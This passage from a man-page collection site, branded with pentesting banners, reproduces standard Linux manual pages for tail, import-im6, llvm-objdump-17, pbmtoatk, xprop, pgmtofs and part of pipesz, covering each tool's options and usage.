░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2228 - Linux cli command tail

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tail and provides detailed information about the command tail, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tail.

NAME 🖥️ tail 🖥️

output the last part of files

SYNOPSIS

tail [OPTION]… [FILE]…

DESCRIPTION

Print the last 10 lines of each FILE to standard output. With more than one FILE, precede each with a header giving the file name.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-c, –bytes=[+]NUM
output the last NUM bytes; or use -c +NUM to output starting with byte NUM of each file

-f, –follow[={name|descriptor}]
output appended data as the file grows;

an absent option argument means ‘descriptor’

-F
same as –follow=name –retry

-n, –lines=[+]NUM
output the last NUM lines, instead of the last 10; or use -n +NUM to skip NUM-1 lines at the start

–max-unchanged-stats=N
with –follow=name, reopen a FILE which has not

changed size after N (default 5) iterations to see if it has been unlinked or renamed (this is the usual case of rotated log files); with inotify, this option is rarely useful

–pid=PID
with -f, terminate after process ID, PID dies

-q, –quiet, –silent
never output headers giving file names

–retry
keep trying to open a file if it is inaccessible

-s, –sleep-interval=N
with -f, sleep for approximately N seconds (default 1.0) between iterations; with inotify and –pid=P, check process P at least once every N seconds

-v, –verbose
always output headers giving file names

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

NUM may have a multiplier suffix: b 512, kB 1000, K 1024, MB 1000*1000, M 1024*1024, GB 1000*1000*1000, G 1024*1024*1024, and so on for T, P, E, Z, Y, R, Q. Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

With –follow (-f), tail defaults to following the file descriptor, which means that even if a tail’ed file is renamed, tail will continue to track its end. This default behavior is not desirable when you really want to track the actual name of the file, not the file descriptor (e.g., log rotation). Use –follow=name in that case. That causes tail to track the named file in a way that accommodates renaming, removal and creation.

AUTHOR

Written by Paul Rubin, David MacKenzie, Ian Lance Taylor, and Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

head(1)

Full documentation <https://www.gnu.org/software/coreutils/tail>
or available locally via: info ‘(coreutils) tail invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2229 - Linux cli command import-im6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command import-im6 and provides detailed information about the command import-im6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the import-im6.

NAME 🖥️ import-im6 🖥️

saves any visible window on an X server and outputs it as an image file. You can capture a single window, the entire screen, or any rectangular portion of the screen.

SYNOPSIS

import-im6.q16 [options] output-file

OVERVIEW

The import-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to capture some or all of an X server screen and save the image to a file.

For more information about the import command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/import.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/import.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -border include window border in the output image -channel type apply option to select image channels -colorspace type alternate image colorspace -comment string annotate image with comment -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -descend obtain image by descending window hierarchy -display server X server to contact -dispose method layer disposal method -dither method apply error diffusion to image -delay centiseconds display the next image after pausing -encipher filename convert plain pixels to cipher pixels -endian type endianness (MSB or LSB) of the image -encoding type text encoding type -filter type use this filter when resizing an image -format “string” output formatted image characteristics -frame include window manager frame -gravity direction which direction to gravitate towards -identify identify the format and characteristics of the image -interlace type None, Line, Plane, or Partition -interpolate method pixel color interpolation method -label string assign a label to an image -limit type value Area, Disk, Map, or Memory resource limit -monitor monitor progress -page geometry size and location of an image canvas -pause seconds seconds delay between snapshots -pointsize value font point size -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -screen select image from root window -seed value seed a new sequence of pseudo-random numbers -set property value set an image property -silent operate silently, i.e. don’t ring any bells -snaps value number of screen snapshots -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -treedepth value color tree depth -verbose print detailed information about the image -virtual-pixel method Constant, Edge, Mirror, or Tile -window id select window with this id or name

Image Operators: -annotate geometry text annotate the image with text -colors value preferred number of colors in the image -crop geometry preferred size and location of the cropped image -geometry geometry preferred size or location of the image -help print program options -monochrome transform image to black and white -negate replace each pixel with its complementary color -quantize colorspace reduce colors in this colorspace -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -strip strip image of all profiles and comments -thumbnail geometry create a thumbnail of the image -transparent color make this color transparent within the image -trim trim image edges -type type image type

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, ‘file’ is written in the Postscript image format. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2230 - Linux cli command llvm-objdump-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-objdump-17 and provides detailed information about the command llvm-objdump-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-objdump-17.

NAME 🖥️ llvm-objdump-17 🖥️

objdump - manual page for llvm-objdump 17

DESCRIPTION

OVERVIEW: llvm object file dumper

USAGE: llvm-objdump [options] <input object files>

OPTIONS:

–adjust-vma=offset
Increase the displayed address by the specified offset

–all-headers
Display all available header information, relocation entries and the symbol table

–arch-name=<value>
Target arch to disassemble for, see –version for available targets

–archive-headers
Display archive header information

-a
Alias for –archive-headers

–build-id=<hex>
Build ID to look up. Once found, added as an input file

-C
Alias for –demangle

–debug-file-directory=<dir>
Path to directory where to look for debug files

–debug-vars-indent=<value>
Distance to indent the source-level variable display, relative to the start of the disassembly

–debug-vars=<value>
Print the locations (in registers or memory) of source-level variables alongside disassembly. Supported formats: ascii, unicode (default)

–debuginfod
Use debuginfod to find debug files

–demangle
Demangle symbol names

–disassemble-all
Disassemble all sections found in the input files

–disassemble-symbols=<value>
List of symbols to disassemble. Accept demangled names when –demangle is specified, otherwise accept mangled names

–disassemble-zeroes
Do not skip blocks of zeroes when disassembling

–disassembler-options=options
Pass target specific disassembler options

–disassemble
Disassemble all executable sections found in the input files

–dwarf=<value>
Dump the specified DWARF debug sections. The only supported value is ‘frames’

–dynamic-reloc
Display the dynamic relocation entries in the file

–dynamic-syms
Display the contents of the dynamic symbol table

-D
Alias for –disassemble-all

-d
Alias for –disassemble

–fault-map-section
Display the content of the fault map section

–file-headers
Display the contents of the overall file header

–full-contents
Display the content of each section

-f
Alias for –file-headers

–headers
Alias for –section-headers

–help
Display available options (–help-hidden for more)

-h
Alias for –section-headers

-j <value>
Alias for –section

–line-numbers
When disassembling, display source line numbers. Implies –disassemble

-l
Alias for –line-numbers

–macho
Use MachO specific object file parser

–mattr=a1,+a2,-a3,…
Target specific attributes (–mattr=help for details)

–mcpu=cpu-name
Target a specific cpu type (–mcpu=help for details)

-M <value>
Alias for –disassembler-options=

-m
Alias for –macho

–no-addresses
Alias for –no-leading-addr

–no-debuginfod
Don’t use debuginfod to find debug files

–no-leading-addr
When disassembling, do not print leading addresses for instructions or inline relocations

–no-print-imm-hex
Do not use hex format for immediate values

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes.

–offloading
Display the content of the offloading section

–prefix-strip=prefix
Strip out initial directories from absolute paths. No effect without –prefix

–prefix=prefix
Add prefix to absolute paths

–print-imm-hex
Use hex format for immediate values (default)

–private-headers
Display format specific file headers

-p
Alias for –private-headers

–raw-clang-ast
Dump the raw binary contents of the clang AST section

–reloc
Display the relocation entries in the file

-R
Alias for –dynamic-reloc

-r
Alias for –reloc

–section-headers
Display summaries of the headers for each section.

–section=<value>
Operate on the specified sections only. With –macho dump segment,section

–show-all-symbols
Show all symbols during disassembly, even if multiple symbols are defined at the same location

–show-lma
Display LMA column when dumping ELF section headers

–source
When disassembling, display source interleaved with the disassembly. Implies –disassemble

–start-address=address Set the start address for disassembling, printing relocations and printing symbols

–stop-address=address
Set the stop address for disassembling, printing relocations and printing symbols

–symbol-description
Add symbol description for disassembly. This option is for XCOFF files only

–symbolize-operands
Symbolize instruction operands when disassembling

–syms
Display the symbol table

-S
Alias for –source

-s
Alias for –full-contents

–traceback-table
Decode traceback table in disassembly. Implies –disassemble. This option is for XCOFF files only

–triple=<value>
Target triple to disassemble for, see –version for available targets

-T
Alias for –dynamic-syms

-t
Alias for –syms

–unwind-info
Display unwind information

-u
Alias for –unwind-info

–version
Display the version of this program

-v
Alias for –version

–wide
Ignored for compatibility with GNU objdump

–x86-asm-syntax=att
Emit AT&T-style disassembly

–x86-asm-syntax=intel
Emit Intel-style disassembly

-x
Alias for –all-headers

-z
Alias for –disassemble-zeroes

llvm-objdump MachO Specific Options:

–arch=<value>
architecture(s) from a Mach-O file to dump

–archive-member-offsets
Print the offset to each archive member for Mach-O archives (requires –macho and –archive-headers)

–bind
Display mach-o binding info

–chained-fixups
Print chained fixup information (requires –macho)

–data-in-code
Print the data in code table for Mach-O objects (requires –macho)

–dis-symname <value>
disassemble just this symbol’s instructions (requires –macho)

–dsym=<value>
Use .dSYM file for debug info

–dyld-info
Print bind and rebase information used by dyld to resolve external references in a final linked binary (requires –macho)

–dylib-id
Print the shared library’s id for the dylib Mach-O file (requires –macho)

–dylibs-used
Print the shared libraries used for linked Mach-O files (requires –macho)

–exports-trie
Display mach-o exported symbols

–full-leading-addr
Print full leading address

–function-starts=<value>
Print the function starts table for Mach-O objects. Options: addrs (default), names, both (requires –macho)

-g
Print line information from debug info if available

–indirect-symbols
Print indirect symbol table for Mach-O objects (requires –macho)

–info-plist
Print the info plist section as strings for Mach-O objects (requires –macho)

–lazy-bind
Display mach-o lazy binding info

–link-opt-hints
Print the linker optimization hints for Mach-O objects (requires –macho)

–no-leading-headers
Print no leading headers

–no-symbolic-operands do not symbolic operands when disassembling (requires –macho)

–non-verbose
Print the info for Mach-O objects in non-verbose or numeric form (requires –macho)

–objc-meta-data
Print the Objective-C runtime meta data for Mach-O files (requires –macho)

–private-header
Display only the first format specific file header

–rebase
Display mach-o rebasing info

–rpaths
Print the runtime search paths for the Mach-O file (requires –macho)

–universal-headers
Print Mach-O universal headers (requires –macho)

–weak-bind
Display mach-o weak binding info

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2231 - Linux cli command pbmtoatk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoatk and provides detailed information about the command pbmtoatk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoatk.

.

NAME 🖥️ pbmtoatk 🖥️

convert a PBM image to a Andrew Toolkit raster object

SYNOPSIS

pbmtoatk [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoatk reads a PBM image as input and produces a Andrew Toolkit raster object as output.

OPTIONS

There are no command line options defined specifically for pbmtoatk, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

atktopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1991 by Bill Janssen.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoatk.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2232 - Linux cli command xprop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xprop and provides detailed information about the command xprop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xprop.

NAME 🖥️ xprop 🖥️

property displayer for X

SYNOPSIS

xprop [-help] [-grammar] [-id id] [-root] [-name name] [-frame] [-font font] [-display display] [-len n] [-notype] [-fs file] [-remove property-name] [-set property-name value] [-spy] [-version] [-f atom format [dformat]]* [format [dformat] atom]*

SUMMARY

The xprop utility is for displaying window and font properties in an X server. One window or font is selected using the command line arguments or possibly in the case of a window, by clicking on the desired window. A list of properties is then given, possibly with formatting information.

OPTIONS

-help
Print out a summary of command line options.

-grammar
Print out a detailed grammar for all command line options.

-id id
This argument allows the user to select window id on the command line rather than using the pointer to select the target window. This is very useful in debugging X applications where the target window is not mapped to the screen or where the use of the pointer might be impossible or interfere with the application.

-name name
This argument allows the user to specify that the window named name is the target window on the command line rather than using the pointer to select the target window.

-font font
This argument allows the user to specify that the properties of font font should be displayed.

-root
This argument specifies that X’s root window is the target window. This is useful in situations where the root window is completely obscured.

-display display
This argument allows you to specify the server to connect to; see X(7).

-len n
Specifies that at most n bytes of any property should be read or displayed.

-notype
Specifies that the type of each property should not be displayed.

-fs file
Specifies that file file should be used as a source of more formats for properties.

-frame
Specifies that when selecting a window by hand (i.e. if none of -name, -root, or -id are given), look at the window manager frame (if any) instead of looking for the client window.

-remove property-name
Specifies the name of a property to be removed from the indicated window.

-set property-name value
Specifies the name of a property and a property value, to be set on the indicated window.

-spy
Examine window properties forever, looking for property change events.

-version
Print program version information and exit.

-f name format [dformat]
Specifies that the format for name should be format and that the dformat for name should be dformat. If dformat is missing, " = $0+ " is assumed.

DESCRIPTION

For each of these properties, its value on the selected window or font is printed using the supplied formatting information if any. If no formatting information is supplied, internal defaults are used. If a property is not defined on the selected window or font, “not defined” is printed as the value for that property. If no property list is given, all the properties possessed by the selected window or font are printed.

A window may be selected in one of four ways. First, if the desired window is the root window, the -root argument may be used. If the desired window is not the root window, it may be selected in two ways on the command line, either by id number such as might be obtained from xwininfo, or by name if the window possesses a name. The -id argument selects a window by id number in either decimal or hex (must start with 0x) while the -name argument selects a window by name.

The last way to select a window does not involve the command line at all. If none of -font, -id, -name, and -root are specified, a crosshairs cursor is displayed and the user is allowed to choose any visible window by pressing any pointer button in the desired window. If it is desired to display properties of a font as opposed to a window, the -font argument must be used.

Other than the above four arguments and the -help argument for obtaining help, and the -grammar argument for listing the full grammar for the command line, all the other command line arguments are used in specifying both the format of the properties to be displayed and how to display them. The -len n argument specifies that at most n bytes of any given property will be read and displayed. This is useful for example when displaying the cut buffer on the root window which could run to several pages if displayed in full.

Normally each property name is displayed by printing first the property name then its type (if it has one) in parentheses followed by its value. The -notype argument specifies that property types should not be displayed. The -fs argument is used to specify a file containing a list of formats for properties while the -f argument is used to specify the format for one property.

The formatting information for a property actually consists of two parts, a format and a dformat. The format specifies the actual formatting of the property (i.e., is it made up of words, bytes, or longs?, etc.) while the dformat specifies how the property should be displayed.

The following paragraphs describe how to construct formats and dformats. However, for the vast majority of users and uses, this should not be necessary as the built in defaults contain the formats and dformats necessary to display all the standard properties. It should only be necessary to specify formats and dformats if a new property is being dealt with or the user dislikes the standard display format. New users especially are encouraged to skip this part.

A format consists of one of 0, 8, 16, or 32 followed by a sequence of one or more format characters. The 0, 8, 16, or 32 specifies how many bits per field there are in the property. Zero is a special case meaning use the field size information associated with the property itself. (This is only needed for special cases like type INTEGER which is actually three different types depending on the size of the fields of the property.)

A value of 8 means that the property is a sequence of bytes while a value of 16 would mean that the property is a sequence of words. The difference between these two lies in the fact that the sequence of words will be byte swapped while the sequence of bytes will not be when read by a machine of the opposite byte order of the machine that originally wrote the property. For more information on how properties are formatted and stored, consult the Xlib manual.

Once the size of the fields has been specified, it is necessary to specify the type of each field (i.e., is it an integer, a string, an atom, or what?) This is done using one format character per field. If there are more fields in the property than format characters supplied, the last character will be repeated as many times as necessary for the extra fields. The format characters and their meaning are as follows:

a
The field holds an atom number. A field of this type should be of size 32.

b
The field is an boolean. A 0 means false while anything else means true.

c
The field is an unsigned number, a cardinal.

i
The field is a signed integer.

m
The field is a set of bit flags, 1 meaning on.

o
The field is an array of icons, packed as a sequence of 32 bit numbers consisting of the width, height and ARGB pixel values, as defined for the _NET_WM_ICON property in the Extended Window Manager Hints specification. A field of this type must be of size 32.

s
This field and the next ones until either a 0 or the end of the property represent a sequence of bytes. This format character is only usable with a field size of 8 and is most often used to represent a string.

t
This field and the next ones until either a 0 or the end of the property represent an internationalized text string. This format character is only usable with a field size of 8. The string is assumed to be in an ICCCM compliant encoding and is converted to the current locale encoding before being output.

u
This field and the next ones until either a 0 or the end of the property represent an UTF-8 encoded unicode string. This format character is only usable with a field size of 8. If the string is found to be an invalid character, the type of encoding violation is printed instead, followed by the string formatted using ’s’. When in an environment not capable of displaying UTF-8 encoded string, behaviour is identical to ’s'.

x
The field is a hex number (like ‘c’ but displayed in hex - most useful for displaying window ids and the like)

An example format is 32ica which is the format for a property of three fields of 32 bits each, the first holding a signed integer, the second an unsigned integer, and the third an atom.

The format of a dformat unlike that of a format is not so rigid. The only limitations on a dformat is that one may not start with a letter or a dash. This is so that it can be distinguished from a property name or an argument. A dformat is a text string containing special characters instructing that various fields be printed at various points in a manner similar to the formatting string used by printf. For example, the dformat " is ( $0, $1
" would render the POINT 3, -4 which has a format of 32ii as " is ( 3, -4 ) “.

Any character other than a $, ?, \ or a ( in a dformat prints as itself. To print out one of $, ?, \ or ( precede it by a \ For example, to print out a $, use . Several special backslash sequences are provided as shortcuts. will cause a newline to be displayed while will cause a tab to be displayed. *o* where o is an octal number will display character number o.

A $ followed by a number n causes field number n to be displayed. The format of the displayed field depends on the formatting character used to describe it in the corresponding format. I.e., if a cardinal is described by ‘c’ it will print in decimal while if it is described by a ‘x’ it is displayed in hex.

If the field is not present in the property (this is possible with some properties), <field not available> is displayed instead. $n+ will display field number n then a comma then field number n+1 then another comma then … until the last field defined. If field n is not defined, nothing is displayed. This is useful for a property that is a list of values.

A ? is used to start a conditional expression, a kind of if-then statement. ?exp(text) will display text if and only if exp evaluates to non-zero. This is useful for two things. First, it allows fields to be displayed if and only if a flag is set. And second, it allows a value such as a state number to be displayed as a name rather than as just a number. The syntax of exp is as follows:

exp
::= term | term=exp | !exp

term
::= n | $n | mn

The ! operator is a logical ``not’’, changing 0 to 1 and any non-zero value to 0. = is an equality operator. Note that internally all expressions are evaluated as 32 bit numbers so -1 is not equal to 65535. = returns 1 if the two values are equal and 0 if not. n represents the constant value n while $n represents the value of field number n. mn is 1 if flag number n in the first field having format character ’m’ in the corresponding format is 1, 0 otherwise.

Examples: ?m3(count: $3 ) displays field 3 with a label of count if and only if flag number 3 (count starts at 0!) is on. ?$2=0(True)?!$2=0(False) displays the inverted value of field 2 as a boolean.

In order to display a property, xprop needs both a format and a dformat. Before xprop uses its default values of a format of 32x and a dformat of " = { $0+ } “, it searches several places in an attempt to find more specific formats. First, a search is made using the name of the property. If this fails, a search is made using the type of the property. This allows type STRING to be defined with one set of formats while allowing property WM_NAME which is of type STRING to be defined with a different format. In this way, the display formats for a given type can be overridden for specific properties.

The locations searched are in order: the format if any specified with the property name (as in 8x WM_NAME), the formats defined by -f options in last to first order, the contents of the file specified by the -fs option if any, the contents of the file specified by the environmental variable XPROPFORMATS if any, and finally xprop’s built in file of formats.

The format of the files referred to by the -fs argument and the XPROPFORMATS variable is one or more lines of the following form:

name format [dformat]

Where name is either the name of a property or the name of a type, format is the format to be used with name and dformat is the dformat to be used with name. If dformat is not present, " = $0+ " is assumed.

EXAMPLES

To display the name of the root window: xprop -root WM_NAME

To display the window manager hints for the clock: xprop -name xclock WM_HINTS

To display the start of the cut buffer: xprop -root -len 100 CUT_BUFFER0

To display the point size of the fixed font: xprop -font fixed POINT_SIZE

To display all the properties of window # 0x200007: xprop -id 0x200007

To set a simple string property: xprop -root -format MY_ATOM_NAME 8s -set MY_ATOM_NAME “my_value”

ENVIRONMENT

DISPLAY
To get default display.

XPROPFORMATS
Specifies the name of a file from which additional formats are to be obtained.

SEE ALSO

X(7), xdpyinfo(1), xwininfo(1), xdriinfo(1), glxinfo(1), xvinfo(1)

AUTHOR

Mark Lillibridge, MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2233 - Linux cli command pgmtofs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtofs and provides detailed information about the command pgmtofs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtofs.

.

NAME 🖥️ pgmtofs 🖥️

convert PGM image to Usenix FaceSaver(tm) format

SYNOPSIS

pgmtofs

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmtofs reads a PGM image as input and produces Usenix FaceSaver(tm) format as output.

FaceSaver is a registered trademark of Metron Computerware Ltd. of Oakland, CA.

OPTIONS

There are no command line options defined specifically for pgmtofs, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

fstopgm(1) , pgm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtofs.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2234 - Linux cli command pipesz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pipesz and provides detailed information about the command pipesz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pipesz.

NAME 🖥️ pipesz 🖥️

set or examine pipe and FIFO buffer sizes

SYNOPSIS

pipesz [options] [–set size] [–] [command [argument] …]

pipesz [options] –get

DESCRIPTION

Pipes and FIFOs maintain an internal buffer used to transfer data between the read end and the write end. In some cases, the default size of this internal buffer may not be appropriate. This program provides facilities to set and examine the size of these buffers.

The –set operation sets pipe buffer sizes. If it is specified, it must be specified with an explicit size. Otherwise, it is implied and the size is read from /proc/sys/fs/pipe-max-size. The kernel may adjust size as described in fcntl(2). To determine the actual buffer sizes set, use the –verbose option. If neither –file nor –fd are specified, –set acts on standard output.

The –set operation permits an optional command to execute after setting the pipe buffer sizes. This command is executed with the adjusted pipes.

The –get operation outputs data in a tabular format. The first column is the name of the pipe as passed to pipesz. File descriptors are named as “fd N”. The second column is the size, in bytes, of the pipe’s internal buffer. The third column is the number of unread bytes currently in the pipe. The columns are separated by tabs ( , ASCII 09h). If –verbose is specified, a descriptive header is also emitted. If neither –file nor –fd are specified, –get acts on standard input.

Unless the –check option is specified, pipesz does not exit if it encounters an error while manipulating a file or file descriptor. This allows pipesz to be used generically without fear of disrupting the execution of pipelines should the type of certain files be later changed. For minimal disruption, the –quiet option prevents warnings from being emitted in these cases.

The kernel imposes limits on the amount of pipe buffer space unprivileged processes can use, though see BUGS below. The kernel will also refuse to shrink a pipe buffer if this would cause a loss of buffered data. See pipe(7) for additional details.

